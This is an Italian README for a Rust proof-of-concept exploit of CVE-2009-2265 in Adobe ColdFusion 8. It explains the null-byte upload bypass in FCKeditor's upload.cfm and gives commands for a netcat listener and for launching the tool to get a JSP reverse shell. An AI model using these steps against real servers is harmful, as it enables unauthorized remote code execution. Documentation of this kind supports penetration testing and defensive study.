
Un'implementazione in Rust del POC per l'exploit CVE-2009-2265, che bersaglia Adobe ColdFusion 8.
Un'implementazione in Rust del POC per l'exploit CVE-2009-2265, mirato ad Adobe ColdFusion 8.
Questa vulnerabilità consente a un utente malintenzionato non autenticato di caricare file arbitrari in una directory accessibile via web su un server che esegue Adobe ColdFusion 8, portando a Remote Code Execution (RCE).
upload.cfmCurrentFolderLa vulnerabilità risiede nella funzionalità di upload di file del componente FCKeditor situato in /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. Il parametro HTTP GET CurrentFolder non viene sanificato correttamente, consentendo un attacco di iniezione di byte nullo (%00).
Costruendo una richiesta in cui il parametro CurrentFolder è impostato su /<filename>.jsp%00, un attaccante può bypassare i controlli di estensione lato server. Il sistema sottostante (spesso Java) interpreta il byte nullo come la fine della stringa, trattando il nome del file come <filename>.jsp. Ciò consente all'attaccante di caricare un file JSP dannoso. Il server salva questo file in una directory pubblicamente accessibile (/userfiles/file/), da dove può essere eseguito semplicemente accedendo al suo URL.
Questo POC automatizza il processo generando un payload di reverse shell JSP, caricandolo utilizzando la vulnerabilità del byte nullo e attivandolo per ottenere una shell sul sistema di destinazione.
Segui questi passaggi per compilare ed eseguire l'exploit.
Prima di eseguire l'exploit, avvia un listener sulla tua macchina locale per catturare la reverse shell in arrivo.
nc -lnvp <attacker-port>
Esegui il binario compilato, fornendo il tuo host/porta locale per la reverse shell e l'host/porta del target remoto.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
Dopo che lo script ha attivato il payload, dovresti ricevere una connessione sul tuo listener Netcat.
Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo in modo responsabile e solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione.